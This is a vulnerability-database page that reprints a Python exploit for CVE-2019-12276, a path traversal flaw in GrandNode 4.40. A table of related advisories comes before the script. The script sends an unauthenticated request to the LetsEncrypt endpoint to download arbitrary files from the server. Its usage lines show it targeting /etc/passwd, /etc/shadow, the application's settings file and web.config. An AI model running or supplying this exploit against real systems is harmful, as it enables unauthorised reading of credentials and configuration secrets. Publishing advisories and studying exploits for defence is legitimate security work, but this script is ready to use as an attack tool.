| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| GrandNode 4.40 - Path Traversal / Arbitrary File Download Vulnerabilities | 26 Jun 201900:00 | – | zdt | |
| CVE-2019-12276 | 8 Nov 202400:00 | – | circl | |
| GrandNode LetsEncryptController Directory Traversal (CVE-2019-12276) | 6 Jul 202000:00 | – | checkpoint_advisories | |
| CVE-2019-12276 | 5 Jun 201917:30 | – | cve | |
| CVE-2019-12276 | 5 Jun 201917:30 | – | cvelist | |
| GrandNode 4.40 - Path Traversal Arbitrary File Download | 24 Jun 201900:00 | – | exploitpack | |
| GrandNode 4.40 - Local File Inclusion | 1 Jun 202605:38 | – | nuclei | |
| CVE-2019-12276 | 5 Jun 201918:29 | – | nvd | |
| GrandNode 4.40 Path Traversal / File Download | 24 Jun 201900:00 | – | packetstorm | |
| Path traversal | 5 Jun 201918:29 | – | prion |
# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
# Date: 06/23/3019
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
# Vendor Homepage: https://grandnode.com/
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
# Version: <= v4.40 (before 5/30/2019)
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-12276
'''
CVE-2019-12276
A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to
view any files that the application has read/view permissions to. This vulnerability affects
Windows and Unix operating systems.
For more details, see: https://security401.com/grandnode-path-traversal/
'''
import requests
import argparse
def exploit(url, file):
session = requests.Session()
paramsGet = {"fileName":file}
rawBody = "\r\n"
response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)
if "UnauthorizedAccessException" in response.content or response.status_code == 500:
print("Access to the path '{}' is denied.".format(file))
return
content_length = int(response.headers['Content-Length'])
if content_length == 0:
print("The '{}' file was not found.".format(file))
else:
print("-" *22)
print(response.content)
print("-" *22)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
args = parser.parse_args()
exploit(args.url, args.file)
# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation